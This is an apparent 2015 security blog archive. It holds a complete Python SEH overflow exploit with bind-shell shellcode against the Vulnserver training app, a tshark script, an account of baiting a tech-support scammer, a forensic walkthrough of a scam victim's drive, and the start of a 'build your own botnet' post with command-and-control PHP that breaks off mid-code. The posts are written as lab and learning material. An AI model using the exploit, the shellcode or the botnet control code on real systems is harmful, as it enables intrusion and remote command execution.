Tuesday, June 30, 2015

Vulnserver SEH Stack Based Overflow

The script below is what I wrote following the tutorial posted by InfoSec Institute for an SEH exploit located at the following link:




#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows XP SP2 VM
destPort = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

# http://resources.infosecinstitute.com/seh-exploit/

#bufCreated = "A"*4000
# /usr/share/metasploit-framework/tools/pattern_create.rb 4000
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"

#bufCreated = pattern

# SEH was overwritten with the pattern 6d45376d
# /usr/share/metasploit-framework/tools/pattern_offset.rb 6d45376d
# [*] Exact match at offset 3502

# After placing mona.py in the c:\program files\imunnity debugger\..\pycommands folder
# Attach to vulnerable server
# !mona config -set workingfolder c:\logs\%p
# The above command outputs the location where mona will save its logs
# Verify the folder exists that you point to
# !mona seh  OR !mona seh -all
# After this has completed running it will output to the working folder
# Inside the file you find the following line:
# 0x625010b4 : pop ebx pop ebp ret {page_executed_read} essfunc.dll

# Without Shellcode
#bufCreated = "A"*3498
#bufCreated += "\xeb\x0f\x90\x90" # JMP (0xeb) 0f NOP NOP
#bufCreated += "\xb4\x10\x50\x62" - SEH from essfunc.dll
#bufCreated += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff"
# \x59 POP ECX
# \xfe\xcd DEC CH
# \xfe\xcd DEC CH
# \xfe\xcd DEC CH
# \xff\xe1 JMP ECX
# \xe8\xf2\xff\xff\xff CALL [relative -0D]
#bufCreated += "\xcc"*(4000 - len(bufCreated))

# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xb8\xa7\xd8\x16\xa4\xd9\xc1\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x53\x83\xc3\x04\x31\x43\x0e\x03\xe4\xd6\xf4"
buf += "\x51\x16\x0e\x7a\x99\xe6\xcf\x1b\x13\x03\xfe\x1b\x47"
buf += "\x40\x51\xac\x03\x04\x5e\x47\x41\xbc\xd5\x25\x4e\xb3"
buf += "\x5e\x83\xa8\xfa\x5f\xb8\x89\x9d\xe3\xc3\xdd\x7d\xdd"
buf += "\x0b\x10\x7c\x1a\x71\xd9\x2c\xf3\xfd\x4c\xc0\x70\x4b"
buf += "\x4d\x6b\xca\x5d\xd5\x88\x9b\x5c\xf4\x1f\x97\x06\xd6"
buf += "\x9e\x74\x33\x5f\xb8\x99\x7e\x29\x33\x69\xf4\xa8\x95"
buf += "\xa3\xf5\x07\xd8\x0b\x04\x59\x1d\xab\xf7\x2c\x57\xcf"
buf += "\x8a\x36\xac\xad\x50\xb2\x36\x15\x12\x64\x92\xa7\xf7"
buf += "\xf3\x51\xab\xbc\x70\x3d\xa8\x43\x54\x36\xd4\xc8\x5b"
buf += "\x98\x5c\x8a\x7f\x3c\x04\x48\xe1\x65\xe0\x3f\x1e\x75"
buf += "\x4b\x9f\xba\xfe\x66\xf4\xb6\x5d\xef\x39\xfb\x5d\xef"
buf += "\x55\x8c\x2e\xdd\xfa\x26\xb8\x6d\x72\xe1\x3f\x91\xa9"
buf += "\x55\xaf\x6c\x52\xa6\xe6\xaa\x06\xf6\x90\x1b\x27\x9d"
buf += "\x60\xa3\xf2\x08\x68\x02\xad\x2e\x95\xf4\x1d\xef\x35"
buf += "\x9d\x77\xe0\x6a\xbd\x77\x2a\x03\x56\x8a\xd5\x3a\xfb"
buf += "\x03\x33\x56\x13\x42\xeb\xce\xd1\xb1\x24\x69\x29\x90"
buf += "\x1c\x1d\x62\xf2\x9b\x22\x73\xd0\x8b\xb4\xf8\x37\x08"
buf += "\xa5\xfe\x1d\x38\xb2\x69\xeb\xa9\xf1\x08\xec\xe3\x61"
buf += "\xa8\x7f\x68\x71\xa7\x63\x27\x26\xe0\x52\x3e\xa2\x1c"
buf += "\xcc\xe8\xd0\xdc\x88\xd3\x50\x3b\x69\xdd\x59\xce\xd5"
buf += "\xf9\x49\x16\xd5\x45\x3d\xc6\x80\x13\xeb\xa0\x7a\xd2"
buf += "\x45\x7b\xd0\xbc\x01\xfa\x1a\x7f\x57\x03\x77\x09\xb7"
buf += "\xb2\x2e\x4c\xc8\x7b\xa7\x58\xb1\x61\x57\xa6\x68\x22"
buf += "\x69\x56\xa0\xbf\xfe\xc1\x51\x82\x62\xf2\x8c\xc1\x9a"
buf += "\x71\x24\xba\x58\x69\x4d\xbf\x25\x2d\xbe\xcd\x36\xd8"
buf += "\xc0\x62\x36\xc9"



# With Shellcode
bufCreated = "\x90"*2752
bufCreated += buf
bufCreated += "\x90"*(3498 - len(bufCreated))
bufCreated += "\xeb\x0f\x90\x90" # JMP (0xeb) 0f NOP NOP
bufCreated += "\xb4\x10\x50\x62" # SEH from essfunc.dll  POP EBX, POP EBP, RETN - Works
bufCreated += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff"
# \x59 POP ECX
# \xfe\xcd DEC CH
# \xfe\xcd DEC CH
# \xfe\xcd DEC CH
# \xff\xe1 JMP ECX
# \xe8\xf2\xff\xff\xff CALL [relative -0D]
bufCreated += "\x90"*(4000 - len(bufCreated))

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "GMON /" + bufCreated
s.send(userString)
print userString
print s.recv(1024)

s.close()


Monday, June 15, 2015

tshark and pcapline from Wesley McGrew

I came across where I wanted to separate out TCP streams and I found a couple of solutions that met my needs.  The first solution is using tshark and I found it at the following link and I have adapted and saved the bash script below:



#!/bin/bash

# This is a script that seperates out based on a tcp.stream's of a pcap
# Adapted from the script found at https://ask.wireshark.org/questions/4677/easy-way-to-save-tcp-streams
# Check to see if the argument for the pcap file has been supplied
if [ $# -eq 0 ]; then
	echo "Usage: ./script.sh file.pcap"
	echo
	exit
else
	pcapFile=$1
fi

# Create the output directory if it does not exist
outputDir="output"
if [ ! -d $outputDir ]; then
	mkdir output
fi

# Seperate the streams into seperate files
for stream in `tshark -r ${pcapFile} -T fields -e tcp.stream | sort -n | uniq`
do
    tshark -r ${pcapFile} -w $outputDir/stream-$stream.cap -Y "tcp.stream==$stream"
done



The second script was pcapline by Wesley McGrew.  I only made one change to fix the title tag in the html to allow the html to output correctly in Chrome and Firefox.  The original code is located here and below with my incorporated change I have placed it on my drive here.

Friday, June 12, 2015

Miscreant Impersonating Century Link Technician - While I am Impersonating a Victim

This is a follow-up from the last post where I talked about a friends friend almost being victimized by scammers.  This post is meant to be used to educate others about scams like this that occur, the methods the miscreants make you do to demonstrate that your computer is infected and then to collect your credit card number.

I was provided the below phone number from a friend that had a friend almost become a victim of this scam:

(844) 409-6572

I decided I would impersonate a victim that needed his computer fixed.  So I called the number and was greeted by an automated system.  Then eventually a technician answered to greet me.  He proceeded to tell me that his name is "SUMIT RASTOGI" and that he can help me fix my computer.

He had me goto http://lmi1.com which redirects to "https://secure.logmeinrescue.com/Customer/Code.aspx" where I proceeded to enter the 6 digit code of 546084.  He then proceeded to tell me that he was a Jr. Technician for "Windows Online Support".  After inserting the code you are prompted to download the LogMeIn Rescue executable.  After it is downloaded and installed you are prompted with a box similar to the below screenshot:

The initial window that you see has an ok button that you must click before they can start viewing and controlling the computer.  After he was connected he proceeded to go into the Action Center and demonstrate to me that I did not have an Anti-Virus installed and other defenses enabled.


Then he showed me that I was not backing up my files by scrolling down a little in the Action Center.

The Jr. technician then proceeded to educate me about viruses, hackers and a need to backup my stuff.  I played along holding back my laughter.  Then it started to get interesting in how he was convincing me that my computer was infected.  He navigated to the prefetch files and asked if they looked familiar.  I stated no, and I had never seen those files before.  He was sure to point out that there were 140 files in this directory.


After opening up the prefetch file for explorer.exe in notepad.  He stated that a virus was already trying to take over my computer and corrupt my files.




He pointed out the word "harddisk" and that it was impacting my hard drive.  Then he said rest assured that he would take care of my well being.  Then he took me into the c:\windows\inf folder  and asked if I was familiar with these files.  Again I responded no and asked are they viruses also?

Again he reconfirmed that he was going to take care of my computer as he entered msconfig in the run box.


Then he navigated over to the services tab and stated it appears your computer is running fine but then scrolled down to find some of the services that were not running.  He proceeded to tell me that the computer was not functioning correctly and that those stopped services were because of the viruses and hackers.


He also showed me that the "Enable All" button was not able to be clicked and I should be able to enable all of the services to protect my computer.  He again reiterated that the hackers were already in my computer.  He opened a command prompt and then let me know he was going to run a "tree scan" running the windows tree command.


Then he escalated me to a senior technician to continue to diagnose my computer.  This other technician opened up "Task Manager" and then highlighted "csrss.exe".


He asked me if I knew what this was.  I responded stating I was not sure.  Then he navigated to a website to show me what this process is.


He then highlighted the first couple of sentences and asked me to read it to him.  He then started to escalate in emotion and tried to convey to me an emergency situation.  Then he took me back to the command prompt and ran the command "netstat" and stated that the hackers were already in my computer.


Then he continued typing into notepad, with horrible spelling, trying to convey to me of the issues I had.  For example if I wanted a peaceful life these trojans needed to be removed.  They would steal my information and track all of the data.  He also stated that from the internet it would infect my computer and my router.  Then after the infection it would infect other devices that I had.  Then he stated that I could have complete protection for "long long years" with my computer and that they could provide 10-12 years of protection for my computer.


He then stated that he was not a windows level 3 certified online expert but that one would be able to fix my computer on a permanent basis.  Then he went off on how this would bless him and then asked me for my name and other identification information.  Then finally he asked for my credit card number and expiration date.


I then went into a discussion with him how it was not secure to give him the card number.  He then said well if you push the "*" button on your phone it will disconnect me from seeing your computer screen so you can type in the card number.  I had to mute my phone to get over this moment of laughter.  Then I spoke to him again that how would that not be the same as giving him the card number over the phone.  He politely said to go ahead and press the "*" button again so he could resume remotely controlling my computer.

I then asked to have his technician information in the event I had any issues and a call back number.



I then stated isn't there a secure site where I can enter in my information.  He became a little impatient with me but eventually took me to a website.  However, he did not go through IE, he went through windows help to display the page.


This is where I disconnected my Virtual Machines network adapter and explained that I did not want to divulge my credit card information.  Then I received a call back from 844-219-1736.  With the disconnected network adapter I then went into "Task Manager" to determine the web sites address that he took me to.


The site of "http://support-samurai.com" is registered as a GoDaddy domain.  Below is a screenshot of the site.


The checkout area of the website that he took me to is displayed in the screenshot below.  This was the page he was trying to get me to input the credit card information after I complained about placing it in notepad.


With the above page he proceeded to tell me that it was "Safe and Secure" and my satisfaction would be guaranteed.

I have turned this information over to LogMeIn Support to see what they can do.  Again this post is meant to educate people about the scam that the miscreants are conducting.  The methods and websites may change but the scam and its tactics will continue to be about the same.






 be similar. 


Miscreant Impersonated Century Link Technician - What did they do?

Recently a friend came to me and asked if I would be interested in looking at one of their friends computer.  The reason behind it was a miscreant, who impersonated Century Link, called and gained remote access to the computer.  With this access they proceeded to state they were fixing the computer.  After cloning the hard drive, these are the steps I took to analyze it.

First, to clone the drive I used a duplicator.  One of these can be found on Amazon for less than a $100 depending on the model and the features you get.  One such model can be found at this link and I have also included a picture below:


After the drive is cloned, I use an external enclosure to mount the drive.  Similar to the one at this link or below:


When you mount the drive verify that you mount it read only.  I am utilizing a Debian linux distro called Kali to conduct the analysis.  Initially when I plugged the drive in I saw the following:


The hard drive after plugging it in showed up as /dev/sdb and it auto-mounted it's 2 partitions in the /media folder.  These were also mounted as you can see rw which stands for read-write.  However, to preserve the information we want to re-mount this hard drive as read-only so nothing can change.  To do this the following commands were issued:

umount /dev/sdb1 - Command to unmount the first partition
umount /dev/sdb2 - Command to unmount the second partition
mkdir /mnt/analysis - Create a directory under the /mnt partition to mount to
mount -t ntfs /dev/sdb2 /mnt/analysis -o ro - mount the 2nd partition to the /mnt/analysis directory read-only

After mounting the drive read-only I like to scan it with an anti-virus (AV).  The anti-virus that I have installed on Kali is ClamAV.  With up-to-date signatures I initiated a scan on the partition that I mounted.  Most of the time when an AV detects malware it will remove it, however I do not want it removed.  I want to use the results of the AV scan to assist in the analysis.  Let this run in the background as you conduct other tasks.  Below are the commands executed to run a scan on the second partition.

clamscan -i -r /mnt/analysis  
# The above command will run the ClamAV scan, -i will only display the infected files, -r does a recursive scan and then what directory or mount point do I want it to scan.

To create a timeline based on the files on the physical drive we will use a utility that is part of the sleuth kit called fls.  The description of fls as contained in the man page is fls lists the files and directory names in the image and can display file names of recently deleted files for the directory using the given inode.

I used the following command to create the timeline:

fls -l -p -r /dev/sdb2 > fls-timeline-output.txt

After this command completes you will have a timeline of the filesystem.  To explain the output of this file.  It contains 9 columns that are tab delimited.
1st column at a high level is if it is a directory, file, a deleted file, file unique identifier, and parent identifier
2nd column is the filepath and filename
3rd column is the date/time of when the file was last modified
4th column is the date/time of when the file was last accessed
5th column is the date/time of when the master file table (MFT) was last modified
6th column is the date/time of when the file was created

Another method to get a timeline is with the following 2 commands:

fls -r -m "/mnt/analysis" /dev/sdb2 > fls-bodyfile.txt
mactime -b fls-bodyfile.txt -d > fls-bodyfile.csv

The above commands will create a comma-delimited file which will allow you to view it in Microsoft Excel or Libre / Open Office.

Glancing back at the anti-virus (AV) scan that is running it had come back flagging 3 files:

/Users/<>/AppData/Local/LogMeIn Rescue Applet/LMIR0001.tmp/lmi_rescue.exe: Win.Worm.Agent-9246 
/Users/<>/AppData/Local/LogMeIn Rescue Applet/LMIR0001.tmp/LMI_Rescue_srv.exe: Win.Worm.Agent-9246
/Users/<>/AppData/Local/LogMeIn Rescue Applet/LMIR0001.tmp/ra64app.exe: Win.Worm.Chir-1896

With these results I am more interested in that the miscreant may have used "LogMeIn" to remotely control the computer.So what probably occurred was they called up impersonating Century Link technical support and then convinced the user to install the LogMeIn software.  Going back to the first time line that we gathered let's grep for the keyword of "LogMeIn".

cat fls-timeline-output.txt | grep -i "LogMeIn" > fls-timeline-w-LogMeIn.txt

Results:
r/r 60435-128-4: Users/<>/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/H1057PY5/Support-LogMeInRescue.exe 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 1528128 0 0

r/r 60435-128-5: Users/<>/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/H1057PY5/Support-LogMeInRescue.exe:Zone.Identifier 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 2015-06-09 18:33:03 (MDT) 26 0 0

We can see that the timeframe of the creation of this file matches the approximate time frame of when the miscreant was communicating with the user.  The phone call was probably minutes before this file was downloaded and installed.  With this timestamp we can begin to identify the activity that occurred on the computer while the miscreant was social engineering the user.  June 9, 2015 @ 6:33:03 PM if this is correct. 

The LogMeIn installed itself inside of the following directory Users/<>/AppData/Local/LogMeIn Rescue Applet/LMIR0001.tmp/.  Located in this directory is a session log which tells us the technician ID that was used by the miscreant and when the remote control / view of the session began.  Some of the information has been removed.

2015-06-10 12:33:05 AM|00000fc4||Starts=Rescue Applet
2015-06-10 12:33:05 AM|00000fc4||AppletRole=Standalone
2015-06-10 12:33:05 AM|00000fc4||AppletVersion=7.6.403.1728
2015-06-10 12:33:05 AM|00000fc4||OperatingSystem=Windows N 6.1.7601
2015-06-10 12:33:05 AM|00000fc4||Folder=C:\Users\<>\AppData\Local\LogMeIn Rescue Applet\LMIR0001.tmp\
...
2015-06-10 12:33:35 AM|00001160||Gateway=control.app02-04.logmeinrescue.com
2015-06-10 12:33:47 AM|00001160|360164719|TechnicianID=14565682
...
2015-06-10 12:34:02 AM|00001178|360164719|AppletRole=Remote Control/View
2015-06-10 12:34:02 AM|00001178|360164719|AppletVersion=7.6.403.1728
...
2015-06-10 12:52:25 AM|00001178|360164719|Stops=Rescue Applet
2015-06-10 12:54:29 AM|00000fc4||Stops=Rescue Applet
2015-06-10 12:54:30 AM|00001160|360164719|Stops=Rescue Applet

From this we can observe that they began the remote control session according to this log on June 10, 2015 at 12:34:02 and ended on June 10, 2015 at 12:54:30.  This is approximately 20 minutes that they were controlling the computer.

The time zone discrepency could be that the time displayed in the session.log is in UTC time.  I called LogMeIn technical support to ask what information they would need to look into such an occurrence.  They were not very helpful and stated that the above Technician ID does not help them identify such an instance.  They did say if the 6 digit alpha-numeric code that was used to connect the remote session could be found it would be helpful.

Looking through the temporary internet files to identify additional sites visited and files downloaded.  I found the following site being accessed: http://www.liutilities.com/products/wintaskspro/processlibrary/rundll32/   
This site was accessed at Jun 09 2015 18:41:53.  It was probably used to explain to the user that rundll32.exe was a malicious process running on the computer as shown on the site and in the picture below:


It also appears that they convinced them to go into or were guided to view the disk defrag screen, process manager, and other programs where typical errors are located to help convince the user that the PC was infected.  Then the session ended.  I could not find additional files that were downloaded.  I did find that from the command line the miscreant tried to use ping, probably to convince the user the computer could not connect to something.  This was done by looking at the internet history, pre-fetch files and other executables that were run.

Even though it appears this miscreant did not get anything, they are after any information they can get.  This ranges from bank account information, credit card information and more.  I have seen it where they will create the victim an email account to use so the victim will be able to transfer documents back and forth to them.

When this sort of intrusion occurs the hard drive should be wiped and reinstalled regardless of the situation.

Saturday, June 6, 2015

Create your own Botnet and Learn How to Detect its Activity in your Defenses (Updated v0.5)

With this post I want to provide information on how a botnet operates.  Then provide some code that can be used to simulate the botnet in action.  With the results then evaluate the defenses on how bot activity on a network could be detected.

Remember that this is a poor man's botnet and may not simulate some of the more sophisticated botnet's that currently are in operation.  There are security vulnerabilities in the code, do not use this in a production environment.

To begin there are multiple components to a botnet the first one I will start with is what is called a command and control server or often called a "C&C".  This is a server that is setup by the bot herder, or the person who is taking care of the botnet.  The term herder comes from the infected computers or the bots following him around.  The C&C server can also be a server that was compromised and being used for this activity.  All of the code found on this post can be downloaded from my google drive at the following link.

The server I setup was running apache, php5, and mysql.  In the code I am referencing the server by IP Address, but this could easily be done by referencing a DNS name.  The following snippet contains the SQL to create the mysql database:

create database command;
use database command;
CREATE TABLE `botInfo` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `machineID` varchar(40) DEFAULT NULL,
  `osType` varchar(20) DEFAULT NULL,
  `httpCommand` varchar(250) DEFAULT NULL,
  `httpResults` mediumblob,
  `executed` varchar(1) DEFAULT 'N',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;

The following code is the PHP that is placed as a webpage on the apache server.  In the code I reference the page as index.php, but this could be injected into any page on the server or created under a directory as any filename imaginable.  In the below php code I have removed the opening and closing tags of <?php and ?> respectively.




 $mysqli = new mysqli("localhost","wordpress","supersecurepassword","command");
 if ($mysqli->connect_error) {
  die("Connect error $mysqli->connect_error");
 }
        if (isset($_GET["func"])) {
  $callingFunction=$_GET['func']; 
  if (isset($_GET["osName"])) $osName=$_GET['osName'];
  $machineID=$_GET['machineID'];
  if ($callingFunction == 'sync') {
   $stmt = $mysqli->stmt_init();
   $sqlFunc="SELECT id as Total FROM botInfo WHERE machineID=?";
   if ($stmt->prepare($sqlFunc)) {
    $stmt->bind_param("s", $machineID);
    $stmt->execute();
    $stmt->store_result();
    $rowCount = $stmt->num_rows;
   }
   if ($rowCount == 0) {
    if ($osName == 'nt') $httpCommand=base64_encode('dir');
    if ($osName == 'posix') $httpCommand=base64_encode('ls');
    $stmt = $mysqli->stmt_init();
    $sqlInsert="INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES (?, ?, ?, 'N')";
    if ($stmt->prepare($sqlInsert)) {
     $stmt->bind_param("sss", $machineID, $osName, $httpCommand);
     $stmt->execute();
    }
   }
  }
  if ($callingFunction == 'do') {
   $stmt = $mysqli->stmt_init();
   $sqlFunc="SELECT httpCommand FROM botInfo WHERE machineID=? AND executed='N'";
   if ($stmt->prepare($sqlFunc)) {
    $stmt->bind_param("s", $machineID);
    $stmt->execute();
